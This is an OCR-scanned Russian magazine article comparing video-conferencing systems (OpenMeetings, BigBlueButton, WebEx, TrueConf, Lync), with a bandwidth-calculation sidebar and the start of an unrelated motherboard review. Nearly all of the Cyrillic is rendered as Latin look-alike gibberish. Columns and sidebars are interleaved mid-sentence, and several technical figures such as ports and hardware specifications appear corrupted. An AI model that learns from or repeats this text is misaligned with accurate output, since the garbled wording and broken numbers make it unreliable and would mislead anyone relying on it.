NOMOLLY TeM.

MocTpoen OpenMeetings ¢ ucnonb3oBaHueM TexHoNOrnit Java
n XML. [1ns opraHn3auum cepeepa 3afeiicTsytoTcs: Beb-cepsep
Apache Tomcat, Open Source Flash/RTMP Server Red5, OpenOffice.
org/LibreOffice. B kayecTBe 6a3bl AaHHbIX MOXET BbITb UCMONB30-
BaHa MySQL, PostgreSQL, Oracle, DB2 nnu Apache Derby. lpeana-
raeTcsi AeMoCanT, Ha KOTOPOM MOXHO NO3HAKOMUTHCS C OCHOBHbIMM
Bo3MoxHocTaMu OpenMeetings. CoeanHeHmne ¢ cepBepoM ocyLiecT-
gnsietcs no npotokonam HTTP (nopt 5080), RTMP (nopt 1935), RTMPT
(nopT 8088). BcTpoeHHbI MeHeAXep Co3A4aHNs pe3epBHbIX KoM
ynpolyaeT pe3epBrpoBaHie N BoccTaHoBNeHWe paboTocnocobHocTm
cepBepa v NepeHoc B APYrYi0 CUCTEMY.
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CoBMecTHas paboTa ¢ sokyMeHToM B OpenMeetings
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Jnuom K nuuy

KoMnoHeHTbI MynbTUNIaTGOPMEHHbIE, NO3TOMY cepBep Oy-
neT paboTtaTh Ha toboi *nix-cucteme unu Windows. YcTaHoBKy
OpenMeetings cnoxHoli Ha3BaTb HeNb3s, NpoLecc NpocTo TpebyeT
[O0/KHOW BHUMATENbHOCTH, B NOCSIEAYIOLLEM IKCMayaTaL s 0cobbix
XJI0MOT He Bbl3blBaeT.

TpeboBaHusa K 060pyf0BaHMI0 HEBLICOKW, MUHUMalbHbIE, KOTOPbIE
yKa3saHbl Ha caiite, — koMnbtoTep ¢ npoueccopom 1 My CPUK 176
03Y. Ho ans KOHBEpPTMPOBaAHMA LJOKYMEHTOB, 3arpy3ku $aiinos u 3a-
nucy BUAEO 3TOW MOLLHOCTY He XBaTUT. B KayecTBe pekoMeHayeMbIX
yKasaH koMmnbioTep 2x/4x 2 Ty (32/64 6ut) u 4 T6 03Y. [ns opranusa-
uvmn 100 coeMHeHN BOCTATOYHO KOMMNbloTepa KNacca Pentium 4
c2l603Y.

BIGBLUEBUTTON

Mepsas Bepcus BigBlueButton (bighluebutton.org) 6bina HanucaHa

B 2007 rofy ofAHUM U3 COTPYLHUKOB KapnToHCKOro yHuBepcuTeTa
r.Ottasa, Kanaga (Carleton University), npu nogaepxke nporpaMmsl
Pa3BUTUS MHHOBALMOHHbLIX TEXHONOMMIA 1 ynpaBneHns. M3HayanbHo
npoayKT Hocun ums Blindside, Ho No3)xxe Ha3BaHWe BbINO U3MEHEHO
Ha BigBlueButton, 4Tobbl 0TpasuTh NpocToTy B MCMONb30BaHUN —
L1 Hayala KOHpEepeHLUMN HYyXHO BCEro JIMLWb HaXaTb CUMBOJIMYE-
CKYI0 CUHIOK KHOMKY. MIMeHHO B npocToTe npenmyuectso BBB nepep
bonee pyHKLMOHANbHbLIM 1 OCHALLLEHHBIM, @ 3HAYUT, U 4yTb bonee
cnoxHblM OpenMeetings. MpoekT HeKOTOpoe BpeMs UcKal cBOe Me-
CTO W CETrOAHS OPUEHTMPOBAH Ha OpraHu3aLuum, npeanaraouime yc-
Nyrv ANCTaHLMOHHOTo 06pa3oBaHus, NO3BONAS NPOBOANUTL 0byYeHue
yepe3 uHTepHeT. Ocobas posib B 3TOM Mpoliecce 0TBOANTCS OAHON U3
byHKuMn — BugeokoHdepeHunn. Ho BBB ¢ TakuM xe ycnexoMm MoxeT
BbITb MCNONb30BaH A5 NPOCTOro obLeHns, npoBefeHns bpuduHros
n Beburapos. B 2009 ropy bbina opraHusosaHa komnaHus Blindside
Networks nns okazaHus nnaTHOW NOLLEPXKM MOb30BATENAM
npofykTa. Hanbonee cepbe3HbiM TONYKOM K pa3paboTke npofykTa
nocnyxuno yyactue B Google Summer of Code B 2010 roay. ViMmeHHo
Torga 6bin gobasnen API, no3sonsiow i NogKA0YaTh CTOPOHHUE
npunoxeHus, un cerofgHs Bctpouts BBB mMoxHo B Sakai, WordPress,
Moodle, Joomla, Redmine, Drupal, Matterhorn, LAMS v HekoTopble
Lpyrue. 3Ta BO3MOXHOCTL bonee Bcero BocTpeboBaHa nosib3oBa-
Tensmn BBB, noaToMy 13 HacTpoek cepBepa bbin ybpaH nHTepdeiic
afMuHMCTpaTopa: pa3paboTynKy NpoOCTO HE BUAAT CMbIC/a €ro pas-
BMBAaTb, TaK KaK ynpasJeHue NIOKUTCA Ha Neyn Toro, KTo BCTpau-
BaeT npunoxerue. B ciyyae otTaenbHOro cepeepa BCe yCTaHOBKY
MOXHO 6e3 npobnem Npou3BecTy NpU NOMOLLM KOHGUTYpPaLMOHHbIX
daninos BigBlueButton n BoamoxHocTelt Beb-cepBepa. [[poekT Haxo-
LUTCS Ha CTajuW akTWBHOM pa3paboTku, NpuyeM cineayet OTMETUTb
ocobyto WeneTunbHOCTL B 3TOM Bonpoce. HanpumMep, Bbixofy Bepcum
0.8 Bailetti npepwectsoBanu yeTbipe 6eTbl u Tpu RC. HepaBHo npo-

srmeen’ B

Boi6op ycTpoiicTBa Npu NofKAlo4eHUM K KoHdepeHuumn B OpenMeetings
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BigBlueButton nosBonsieT opraHn30BaTh KOHMEPEHLNIO HAXKATUEM OAHOI KHOMKK

eKT NpUCoeANHUNCS K BU3Hec-nHKybaTopy AN OTKPbLITbIX NPOEKTOB
WebFWD («Web Forward»), kotopsili nogaepxnsaet Mozilla.
BigBlueButton obecneunBaet MHorononb3oBaTenbCckue ayfmo-
1 BUAEOKOHdEPEHL MM, Y4aT 1 06MeH NIMYHbIMK coobieHuaMn (B Kaye-
CTBe K/MeHTa NojJAepXNBaeTca TONbKO CODCTBeHHbIN Java-annneT
BigBlueButton), 3annck nekuuii (cnangsl, ayamno v yat) ana ganbHeil-
wero ocnponsseneHus (ncnonbsyetcs HTML5, nogaepxusaetcs
noka FF n Chrome), npegocTtasnenue obuiero goctyna Kk paboyemy
CTOJy ANS NPaKTUYecKoro nokasa pabotsl ¢ npunoxernusmu n 0C, 3a-
rpy3Ky npeseHTauun 8 popmate PDF (1 nobom fpyrom, noanepxusae-
mom OpenOffice.org/LibreOffice], dyHKumMM pucoBaHns n BUpTyansHyto
yKka3ky. PeannsoBaH aBToMaTU4eCcKiin nepeBof, npu obuieHnm B yaTe
nofib3oBaTenei Ha pa3Hbix a3blkax. [Jns nogKao4eHUs K cepBepy f0-
CTaTOYHO McMoNb30BaTh Beb-6pay3ep c nogsepxkoin Adobe Flash, To
€CTb 3T0 MOXeT bbITb N1t0boi KoMnboTep, paboTatLuii nog ynpasne-
Huem Windows, *nix nnn Mac 0S X. Begetcs paspaboTka knveHTa ans
Android. KoHbepeHLny MoryT 6bITb ABYX BUL0B: OTKPbLITbIE (MOXET
MOAKIOYNTLCA 11060 3aperucTpupoBaHHbIii NoNb3osaTens) 1 3a-
KpbiTble. B cnyyae npuBaTHOM KOHBI CMUCOK AoNyLLeHHbIX popMupyeT
caM BbICTYNatLWmii, BbICbIas UM jaHHble N5 focTtyna. Monb3oBaTtenn
B KOH®bepeHLn MoryT 6biTb B posiv BoICTyNawwWero, Mogepartopa (no
YMOJIYaHUIo MoNlyYaeT co3aaTeNb KoHpepeHumn) u caywartens. Pabota
BMPTYaIbHOr0 IEKTOPa Maio 0TANYaEeTCS OT peasbHOro: KpoMe B1AE0,
OH 3arpyaeT [JOKYMeHTbl, NCMOJb3Ys yKa3Ky, aKL,eHTUpyeT BHIMa-
HWe Ha BaXKHbIX MOMEHTaX, BK/l0YaeT ayAno BbIOpaHHOro cayLwaTens.
MopaepaTop MoXeT Ha3HauynTb Nto6oro Noab3oBaTens BbICTYNAOLLMNM,
TOrfa Bce BHUMaHWe byfeT nepekioyeHo Ha Hero. MHTepdeiic nonb3o-
BaTess N03BONSET NPpUBAN3UTL OTAENbHbIE GParMeHTbl, YTOObI Jyylle
paccMoTpeThb WX, NPUBIeYb BHUMaHUe, «NOAHAB PyKy», 0buiaTbes
B rpynnoBOM WM NpMBaTHOM YaTe. MofiepaTop NOIHOCTbI0 KOHTPOJIU-
pyeT BO3MOXHOCTW NPUCYTCTBYIOLLMX, MPU HEOOXOANMOCTN OTKII04aeT
nosb30BaTeNs UV NEPEBOANT B PEXUM «TOJIbKO MPpocMoTp». Mogaep-
xuBaeTcs paspewenue 320 x 240, 640 x 480, 1280 x 720, Ha konuye-
CTBO MOAK0YeHN BBB Kakux-n1mbo orpaHu4eHnin He Hak nafblBaeT.
B cBoeii paboTe BBB ncnonb3ayet bonee gecatka Open Source
npunoxenuin: FreeSWITCH, nginx, Flash-mMeguacepsep Redb,
MySQL, ActiveMQ, Tomcat, Redis, Grails, Xuggler, OpenOffice.
org, Image Magick, SWFTools u gpyrue. PaHee B 3ToM cnicke bbin
IP-PBX Asterisk c Mogynem ans ynpaeneHus KoHdepeHLnaMm
app_konference, Ho B nocnejHWX Bepcusx pa3paboTunky oTkaszanucb
0T flaHHo cBA3KK B nob3y FreeSWITCH, Tak Kak nocnegHuii He
TpebyeT LONONHNUTENbHBIX YCUANIA NPU peanu3aunn GyHKLWK 3anncu.
Beb-nHTepdeiic BBB nepeBefeH Ha 40 A3bIKOB, B 3TOM CMUCKe €CTb
U PyCCKMIA.
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B nonynspHom VolP-cepBepe Asterisk KoHpepeHUUI0 MOXHO
opraHu3oBaTh NPy NOMOLLM CTaHAAPTHOIO NpunoxeHus MeetMe
(app_meetme.so), KoTopoe NoaAepXnUBaeT AUHAMUYECKOE CO3AaHNe
KOHdepeHUMN, 3alUTY NaposieM, pa3feneHune ponen, 3anucb 1 MHoroe
apyroe. [pouecc KOHGUrypuMpoBaHUS 04eHb NPOCT, KOCTATOYHO
0TpefaKkTMpoBaTb Napy cTpoyek B meetme.conf, a ynpaBneHue
NPOM3BOAUTCS NPU MOMOLLM rONI0COBOI0 MeHI0. YTo KacaeTcs KayecTBa
CBSI3W, TO OHO OCTaBASAET XenaTb nyywero. K anbTepHaTUBHbIM
peweHnsam ctout otHecTu: ConfBridge (nepepaboTanHbiit MeetMe),
app_conference u ero ¢opk app_konference. Tak, app_conference
no3BosseT OpraHM30BaTh ayANo0- U BUAEOKOH(EPEHLUIO C HECKONbKUMNU
noJib30BaTeNsIMM B NpueMaeMoM KayecTtse. [1py 3TOM OH He MUKLUKUpPYeT
BUAEONOTOKM OT y4acTHWUKOB (TosIbKO ayAuo), a npocTo nepenpasnser
MX HY)XXHbIM aBOHEHTaM, 4TO CyLLeCTBEHHO CHUXKaeT TpeboBaHus K
obopynoBaHuio.

O ns paboTbl BigBlueButton pekomeHayetcsi cepsep ¢ CPU Dual
Core 2,6 Ty, 216 03Y 1 MecTo Ha XEeCTKOM ANCKe C Y4eTOM 3anucu
TpaHcnauuin. KonnyecTso nonb3oBaTtesiei, KOTopble CMOryT OAHO-
BpPeMeHHO 06LaTbCs Ha cepBepe, 3aBUCHT OT MOLLHOCTH obopyfoBa-
HUS U NponyckHoW crnocobHocTu kaHana. OTaenbHbIA NoToK TpebyeT
30-50 K6/c. MpubnusutenbHblie pacyeTsl MOXHO HainTu 8 FAQ (goo.gl/
Pii7Y), TaM e npuBoAATCA AaHHble cTpecc-TecTa. [lng nogknioyeHus
KJIMEHTOB MO YMOJIYaHWIO NCNONb3yeTcs cTaHAapTHbIN 80-1 nopr,
KOTOpbIV He LOJKEH ObITb 3aHAT [PYrMM npunoxeHunem. B npasunax
BpaHaMayapa foKHbI GbiTb 0TKpbITH MopThl 80 (HTTP), 935 (RTMP)

1 9123 (06wnit pabounit cton).

[locTyneH ucxofHbI Ko, No3BonstoWwniA yctaHoBMTs BBB Ha
noboit KomnbloTep, paboTatowuii nog ynpasnexnvem Linux, FreeBSD,
Mac 0S X nnn Windows. Jna Ubuntu n CentOS ecTb roToBble NnakeTbl
n penosutopun. Cepsep BBB MoxeT paboTath B 0bnayHoii cpepe
Bpoge Amazon EC2.

[okyMeHTaLus Ha caiiTe NnpoekTa BecbMa NoApobHa, B Hel MOXHO
HalTN 0TBETHI NPAKTUYECKW Ha BCE BO3HMKalOLLWe BONPOCH —
no ycTaHoBKe (ecTb roToBble KOHGUK), KOHGUTypupoBaHuio, API,
JI0Kanu3aunm, HacTpoiike oTaebHbIX KomnoHeHToB (VolP, nginx 1 no-
B06HbIX) M npounM MoMeHTaM. CBOM BOMPOCHI MOXHO 334aTh B CMINCKE
pacchbiikW, MpeAnaraeTcs HeCKOIbKO BULLEOPYKOBOACTB. [locTymnHbl
06pa3 VM u fleMocepBep, N03BOAA0LME NO3HAKOMUTLCSA C OCHOBHbI-
MU Bo3MOXHocTaMU BBB, He ycTanasnusas cuctemy.

CISCO WEBEX

YT106bl 06WATHCS C rpynnon niofent, He 0bs3aTeNbHO ycTaHaBAMBaTb
CBOW cepBep WK 3akynaTtb 0bopyfoBaHne, B HEKOTOPbIX CAly4asx
pocTaToyHo v SaaS. Tak, Google Talk n Skype no3sonsioT cobpatb
ayAMOKOHdEpeHLMI0 Ha HeCKobKo nob3oBaTeneil. Kpome Toro,
Skype anq 6usHec-nonb3osaTenei (ans home tTpebyercs Premium-
nofnucka) no3sossieT opraHn3oBaTh BUAEOKOHGEPEHLMN [0

[eCATN y4acTHNKOB. CTOMMOCTb MOANNCKN OTHOCUTENIbHO HEBbICO-
Ka, a BO3MOXKHOCTE BNoJsiHe A0CTaTOYHO A5t HeDONbLINX OpraHu-
3auui. Ho ogHo 13 caMbix monynsipHbiX SaaS-pelerunii — cepsuc
Beb-koHpepenumin Cisco WebEx (webex.com), koTopeiit npeanaraert
Ka4yeCTBEHHYIO BU/JE0- M ayiMOCBA3b, He Tpebys yCTaHOBKM cneuu-
anusunpoBaHHoro obopypoBanus. Mo cyTn, aTo yaobHasa nnatdopma
005 00OLeHNs, yianeHHoro oby4yeHns U COBMeCTHON paboTsl, rae pea-
NM30BaHbl BCe HeobxoauMble GyHKLNUW: NpefBapuTenbHoe obcyxae-
HWe MaTepuanos, screen-sharing, whiteboard, yaaneHHbI KoH-
Tponb KoMnbloTepa, npesenTaunm, VolP, Bngeo B HD-dopmare, yar,
3aMncb COBelLaHNs Ha CepBepe UM KNMeHTe, KaJleHAapb 1 npoyee.
Bo3moxHo npefocTaBierHmne yyacTHUKAM Pa3HoOro poaa aHKeT f4Ns
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DOyHKUMA TPaHcAaLum paboyero cTona B BigBlueButton

3anofHeHus. MpurnalweHne MOXHO pa3ocnaTh Npu noMowm e-mail,
no TenedoHy unu yepes IM-knueHT. MpnyemM ayano-koHdepeHy-
CBA3b BO3MOXHa He ToJ1bKo Yepes VolP, Ho 1 yepe3 MobunbHbIi/cTa-
LMoHapHbI TenedoH. Takxe WebEx nHterpupyetcs ¢ WebEx Social
n npunoxeHnsmu MS Office, no3Bonsis COBMeCTHO pefakTupoBaTb

1 nybnukosaTb AoKyMeHTbI. [1py NOMOLLM crelnanbHOro NnaruHa
nosb3oBaTenb NybanKyeT MaTepuanbl 1 NiaHupyeT coBellaHns B MS
Outlook, nonyyeHHoe npurnaweHue cpasy fobaBnsaeTcs B KaneH-
napb. [lng pocTyna Kk BULEOKOHdEpeHLMM Nofb30BaTe o 4ocTaToy-
HO MOAKIIOYUTLCA K Heid Nnpu nomoLy bpaysepa. [oCcTynHbl KAUEHTHI
ans iPhone, iPad, Nokia n BlackBerry. CoefmHeHue 3alyuiueHo npw
nomown SSL. MHTepdelic o4eHb NPOCTOM, XOTSH U He JIOKaNN30BaH-
Hblli. PacnpocTpaHseTcs no NoAnucke, B HacTosLLee BpeMs peanu-
30BaHO YeTbipe ypoBHs gocTyna — Free (4o Tpex yyacTHWKoB, BUAEO
cTaHaapTHOro kavyecTsa, 250 M6 mecTa Ha ancke ans dainnos),
Premium 8, Premium 25 (cooTBeTcTBeHHO 0 8 1 25 y4acTHMKOB, 1
6 MecTa u gononHuTesbHble pyHkunn) u Enterprise (go 500 yyact-
HUKOB). YTo6bl aKTUBUpPOBaTL Free-akkayHT, [OCTaTOMHO MPOCTO
3aperncTpupoBathbes (Ha 14 gHei faloT ele 1 TecToBbIA Premium),
yKa3aB BannAHbI e-mail.

TRUECONF SERVER

Cepsep BugeokoHdeperuuin TrueConf Server (trueconf.ru) noggep-
XKUBAET HECKOJIbKO PeXMOB BelLaHWs: NepCcoHaNbHOe, CUMMETPUY-

Jnuom K nuuy

MnanupoBaHue koHdpepeHuumn B WebEx

Hast MHOTOTOYeYHas KoHGepeHUus (4o 16 paBHOMPABHbIX y4acTHNU-
KoB), Buaeosewanue (Lo 16 y4aCTHNKOB, HO aKTUBEH TOJIbKO OAMH),
posieBoe BUAeoBellaHme (3 akTUBHbIX y4acTHUMKa, 40 120 nosib3oBa-
Teneit). B nocnegHeM ciydyae nonb3oBaTesn He MOTYT pa3roBapneaTth
LPYr C APYroM, HO B WX PacnopsKeHUn Apyrue BCTPOEHHbIE CPefiCTBa
TrueConf —yaT, 0b6MeH pannamu, aneKTpoHHasA [JOCKa ANs COBMECT-
HoVi paboTbl Haf LOKYMEHTOM, IeMOHCTpaLua cnana-woy. Kayectso
MoXeT BapbupoBaTbca oT 320 x 240 go HD (1280 x 720). Peanusosa-
Ha BO3MOXHOCTb 3anucy KoHbepeHL MW, aipecHas KHUra v naHenb
cTaTycoB. [Tonb30BaTeNlb MOXET NOKa3aTb CBOW paboynii cTon Apyrum
y4yacTHMKaM, KOTOpbl€e, B CBOO 04Yepefb, MOYYNB pa3peLleHne, UM
ynpasnsioT. [pynnsl nonb3oBaTeNet NonyyaloT pa3inyHble Npaga,
pasrpaHuynBatoLLie BO3MOXHOCTI N0 UCMNONb30BaHMIO CUCTEMBI.

[nqa nogknodenna K kondpepeHunu Tpebyetca Windows-MK (nocne
ycTaHoBKM cepBep reHepupyeT knaneHT TrueConf Client) unu cneun-
anbHoe obopyposaHue. locTyneH Takxe knueHT gns Android. Mpwu
nomolu otaenbHoro npoaykta TrueConf Gateway BO3MOXHO Mcnonb-
3oBaHue H.323/SIP BupeoTepMuHanos.

MpoaykT nosiuncs B 2003 rogy n nepeoHayanbHo pacnpocTpa-
Hancsa nog HaseaHueM VideoPort VCS, Hosoe ums TrueConf nonyuun
B 2011 ropy. Pa3spabaTbiBaeTcs poccuitckoit KoMnaHuen, a noaTo-

MY y4uTbIBaeT MECTHbIe peanuu. B yacTHocTu, HeTpeboBaTeneH
K KaYeCTBY COEAMHEHMNS, MOXKET NCNOIb30BaTh Ntobble KaHasbl,
B TOM YMCJIe U CNYTHUKOBbIe, paboTaeT n3-3a NAT. B nporpamme

* Cant Apache Open-

YTO BbIBPATb AJ11 BUAEOCBA3U: XXEJIE30 UJIN CODT? Meetings:

incubator.apache.

org/openmeetings;
* caifT npoekTa

KpoMe nporpaMMHbIX pewweHuni, Ha
pbIHKe NpUcyTCcTBYeT 6onbLioi BbIGOp
annapaTHbIX peanu3sauui, KoTopbie
obecneunBaloT 6onee BbICOKYIO MPOU3BO-
BUTeNbHOCTb U KaYeCTBEHHYI0 BULEO0-
CBSI3b, HO M CTOSIT HA MOPSAOK A0POXKE.
Pa3paboTunku nporpaMm Hepeako uayT
Ha KOMNPOMMCChI, UCMOJIb3Ys HU3KYIO
4acToTy KajpoB U yNpoLLeHHble anropuT-
Mbl Npeobpa3oBaHus BUAEO, YTO NPUBO-
OUT K yMeHbLUeHuWIo pa3Mepa uzobpaxe-
HUS, CHUKEHUIO YETKOCTMU U YXYALIEHUIO
uBeTonepepayun. AnnapatHole

)e pelleHUs OCHaLLeHbl cneLuannsnpo-
BaHHbIMU NpoLeccopamMu Ans KOAU-
poBaHMA U AeKOAMPOBaHUSA MOTOKA,
KOMMaHWUSA-U3roTOBUTENIb rapaHTUpyeT
KayecCTBO CBSA3W M KOHKPETHYI0 Npo-
M3BOAMTENIbHOCTb B ONpeAeNeHHbIX
ycnoBusx (CooTBETCTBEHHO, OTNajaeT
Heo6X0ANMOCTb B CAMOCTOSITE/IbHOM
nopbope KOMNAEKTYOLWUX U pacyeTe
TpebyeMoi MOLHOCTH cepBepa, AoCTa-
To4HO Bbi6paTh Hanbonee nogxoasaLlyio
Moaenb U3 NMHeNKM npoaykTos). Cpean
MOCTaBLMKOB XKesie3a ANs NpoBeLeHUs

ayAuno- v BULeoKoHbepeHUUii ecTb U
NpuU3HaHHble NUAepbl, Takne Kak Avaya n
Polycom. Hanpumep, cuctema Avaya Aura
Conferencing o6ecneyuBaeT nposepe-
HUe KoHpEepeHL U C UCnoNb30BaHUEM
npotokona SIP npu noMown knneHTa
nnu obblyHoro Be6-6paysepa, a Polycom
HDX 8000 no3sonsieT nonb3oBaTensim
oblwaTbca C BUAE0 BHICOKOTr0 KayecTBa
(720p/1080p) n 3ByKOM 6e3 MCKaxXeHUR,
npuW 3TOM rosioca pa3fensioTcs Ha
KaHanbl, obecneynBas «3ppekT
NpUCYTCTBUS».
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BigBlueButton:
bigbluebutton.org,
code.google.com/p/
bigbluebutton;

* pe3ynbTaThl CTpECC-
Tecta BigBlueButton:
g00.gl/hrkLF;

* cait Cisco WebEx:
www.webex.com;

* caifT MS Lync:
lync.microsoft.com;
* cait TrueConf
Server: trueconf.ru.
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3a0XeHa fUHaMuyeckas peryamposka butpenta v TexHonorus SVC
(Scalable Video Coding), nossonaiowas nepefasaTts B 04HOM NOTOKe
HeCKoJIbKO NOAMNOTOKOB BUAEO Pa3MYHOro kayectsa. Cnucok nog-
nepxuBaeMblx Bueokonekos BkatoyaeT WebM n Cyclon. MocnepHuni
cobcTBeHHOM pa3paboTku, He TpebyeT MowHoro CPU 1 obecneynsaet
Masble 3aflePXKKH, @ MO3TOMY MPUMEHAETCH Ha HU3KOCKOPOCTHbIX
AVHWAX. Takoi adpdeKT [OCTUraeTCs B TOM YMCTIe U 3a CHET TOro, YTO
KOZeK B MEPBYI 04epefib pacno3HaeT nLa yHaCTHUKOB BUAEOKOH-
depeHunmn. lng acuMMeTpuyHoO KoOHPepeHymn ncnonbsyetca UDP
Multicast.

[nsaycranosku cepeepa noHagobutca Win2k/2k3/2k8. Cam npo-
LLeCC, MOXHO CKa3aTb, TPUBWANEH, CMPABUTHLCS C HUM MOXET 0601
nonb3osaTenb. B firewall Hy)Ho nnwb oTKpbITb NopThl 4307 1 4310.
HocTynHa Takxe SaaS-sepcus TrueConf — TrueConf Online, no3sons-
folias OpraHun30BbIBaTb KOHPEPEHL MM NO NOANUCKE, He pa3BopaynBas
nHopacTpykTypy. Monb3oBaTento Tpebyetcs Beb-kamepa, MUKpodOH
1 bpaysep. Mpepnaraetcs HECKONbKO BapMaHTOB ANLEH3NN, B bec-
NnaTHOM BO3MOXHA TONbKO MHAMBUAYaNbHAA BUAEOCBSA3b.

MICROSOFT LYNC SERVER

Kopnopauus Microsoft He Morna He MocYUTaTbCS C TEHAEHLUAMM
pa3BuTus IT-pblHKa W NpeANoXMUNa CBOW CepBep KOMMYHUKaL U

MS Lync Server (lync.microsoft.com, paHee Office Communications
Server, Bepcua 2007 R2 koToporo elie npofaetcs), npefocTasasio-
LW BO3MOXKHOCTY OpraHn3aLm He ToNbKo ayano-, BULeo- 1 Beb-
KoHdepeHLnit, Ho U TenedoHHOM cBA3M (ronocoBas NoyTa, Nepesos
3BOHKOB, TPyMMoBbIe BbI30BbI 1 TOMY nofobHoe), cuctemy IM, nepe-
nayy $aiinos, KOHTPONb NPUCYTCTBUS U MHOroe fpyroe. Bo3mMoxHa
nHTerpauus c Asterisk n Skype, npy noMoLLM LWNO30B CTOPOHHUX
npoussoguTeneit Lync nogknioyaetca Kk SIP unu tenedoHHbIM ceTaMm.
PeanusoBaHbl BO3MOXHOCTI COBMECTHOM0O JoCTyna K paboyemy
cTony, YHKLNS BUPTYabHOW AOCKW LN OLHOBPEMEHHOM paboThl

C AOKYMEHTOM 1IN 0by4YeHns coTpyaHuKoB. [Ins Tex, KTo nepe-
MUCbIBAETCH C UHOCTPaHHbIMK NapTHepPaMy, NpejaaraeTcs naaruu
Conversation Translator (Lync Guistic), nossonatowuit asTomatn-
YecKu NepeBOANTbL COOBLLEHNS NPYU NOMOLLYM CepBMCa NepeBOAYMKa
Bing. [Monb3oBaTenb MOXET MOAKIOUUTLCS K KOHbEpeHLUN NpK
noMolu obbiyHOro Unu MobunbHoro TenedoHa. EctectseHHo, Lync
MHTerpupyeTcs ¢ MHoruMu npogyktamu Microsoft — Exchange,
SharePoint, Office n Office 365. Monb3oBaTendaM nocaegHero Het
Heo6Xx0[MMOCTUN pa3BopaynBaTh CBOK MHPPACTPYKTYPY, AOCTATOUHO
nofknounTbcsa Kk Lync Online. Mpurnawenuns gnsa yyactus B KoHde-
peHLUn no yMon4yaHuio otnpasnstotcs npu nomowm Outlook. MoxHo
OpraHn30BaTh HECKONbKO KOHGepeHLWI 1 NepekoyaTbCs Mexay
HUMU. ECTb BO3MOXHOCTb BbibOpa nosib3oBaTesis, 0T UMEHW KOTOPOTro
KOHpepeHumns byaeT HayaTa. Y4acTHUK, uMetowunin cnoso, byaeT Bbl-
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Bbi6op BapuaHTa npoBeaeHus KondpepeHuum B TrueConf

LlefleH, N KaMepa aBTOMaTUYeCcKM nepekioyaeTtcs Ha Hero. Mogco-
eANHUTBLCSA K CODPaHNAM MOXHO HECKONTbKMMM Cnocobamu: ycTaHOBMB
knueHT Lync 2010 unu Lync 2010 Attendee, yepe3 Beb-bpaysep c noa-
aepxkoit Silverlight (Microsoft Lync Web App) unu knnent Office
Communicator. lMonb3oBaTento, nonyynBLIeMy npurnatenue, byget
npeasoxXeH 0A1H 13 3TUX BapuaHToB. Kpome Toro, nofaepxuneaercs
pan IP-tenedoros «Optimized for Lync» (HekoTopble MOAENN MOXKHO
HanTK Ha caiite MS — goo.gl/C3fGb). lns nposepeHus supeokoHbe-
peHumnii Takxe He TpebyeTcs cneumnanbHoe obopynoBaHue, XoTs 3echb
npefnaratTcs coBMecTuMble KoMnaekTsl MS RoundTable, genato-
wwe obuieHne 6onee koMpopTHbIM. locTyneH knneHT Lync Mobile
nns WP7, Android, i0S, Symbian u BlackBerry, koTopbiii ynpowjaet
NoAKYeHNe K KOHbEepeHL MW, nMeeT GyHKLUKM Noncka ajpecaTta
W CBELEHWUN 0 MPUCYTCTBUM COTPYAHMUKA.

Bnaropaps ceBonM Bo3MoXHOCTSM, Lync Server byfet uHTepeceH
TeM opraHu3aumnam, kotopble ucnonbayT Windows u cTposaT uim
peopraHusyioT cBoto VT-unppactpykTypy.

3AKJTIOYEHWE

He 3psi roBopAaT, YTo Nlyylle oUH pa3 yBUAETb, YeM CTO pas yChbl-
waTtb. CucTeMbl BULEOKOHbEPEHLNI NO3BONAT NOBLICUTL 3G PeKTUB-
HOCTb B3aUMOLENCTBUS COTPYAHNKOB KOMNAHUM 1 BU3HeCc-napTHepoB
¥ Npu 3TOM 0601NTHCH BE3 BOPOrocTOSWMNX KOMaHANPOBOK. 3

KAK PACCHUTATb NPOMYCKHYIO CMNOCOBHOCTDB?

MpakTnyecku NosIOBUHA BCEX NOMbITOK BHEAPEHUIA
CUCTEM BULeOKOHpEpeHL M NpoBannBaeTca n3-3a
HEeroToBHOCTU ceTeBoM MHPpAcTPYKTypbl. [oaToMy
elle Ha 3Tane BbIbopa NOCTaBLYMKA HYXKHO OLLEHUTB
BO3MOXXHOCTU CBOEW CETU U TpebOBaHNS K MPONYCKHOW
cnocobHocTu. Bo3MoxHO, Ang noaaepxku QoS Ha
ypOBHe, AOCTAaTOYHOM AN NPOBEeJeHNUsA BUAEOKOHpe-
peHuuit, okaxeTtcs Heobxoaumon MogepHusaums. Kax-
Lbli NpOU3BOAUTENb 06bIYHO faeT NpUBAnN3nTEeNbHbIE
pacyeThbl 4N ofHOro KaHana. Hanpumep, pna Apache
OpenMeetings Kaxpaoe nogknoYeHune K cepeepy Tpeby-
eT 256 K6uT/c, XoTs KNIMEHT MOXeT BblbpaTh NogK0-
YeHMe C MeHbLUWM KayecTBOM, yMeHbLIas TpeboBaHue

* B BigBlueButton

* Google, BbIKynuB

u Microsoft Lync B 2007 ropy

Server peanusoBaH 6ecnnaTHbln

aBTOMaTUYecKui cepBuc ans

nepesoj npu BUAEOKOHpEpeHL Ui
00 160 K6ut/c. B utore ansi cepsepa HyXKHo obecneuntb  obuennn B yate Marratech, Tak
(N — KonunyecTBO y4acTHMKOB): nonb3osarenei M He cospana

o BxopawmmnkaHan—(256 xN) Kéut/c;
o ucxopawmm kaHan—((256 x N x (N-1)) Kéut/c.

Ha pa3HbIX A3bIKaX.

* BxopeTenedoHHoro

«ybunuy WebEx»,
HO CTapble BepCUm
cepBepa v KnueHTa

[Insi KNNEHTCKON CUCTEMBI: pasrosopa elye MOXHO HailTh
o ycBauBaeTca B UHTepHeTe
o Bxogawmitkanan—(256 x (N-1)) Kéut/c; npuMepHo 20% nucnonb3oBaTh
* pcxoanlwmiikaHan—256 Kbut/c. dopmauuu, ans 06 naTm
oﬁu.l.elme nogHuMaeT Y4aCTHUKOB.
3Ty NNaHKy A0
OTtpenbHbiv noTok B BBB Tpebyet 30-50 K6/c. 80%. Cuctema B TrueConf
MpubnusutenbHble pacyeTsl 49 BBB MoXHO HailTh B BUACOKOHDEpeHUun npeaycMoTpeHa
.. no3BoJiIfAeT yCBOUTb ayTeHTVI¢VIKaLWIﬁ
FAQ — go0.9l/Pii7Y. B ToM e Skype ansi BUAEOKOH- 10 60%. nonb3oBaTenei

depeHunt pekoMeHayeTcs bonee WMpPOKUiA KaHan —
4 M6uT/c (npuem) / 512 Kéut/c (nepepaval.
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FERRUM

Cepreit MnoTHUKOB

LA FURIA
ROJA

TECTMPOBAHWE
TOMOBbIXMATEPUHCKIX
MJIAT HA BA3E YWTCETA
AMD 990FX

[lymaeM, Mbl He 0TKpoeM AMepUrKK, eCin CKaXKeM, YTo npoueccopbl apxuTekTypbl Bulldozer
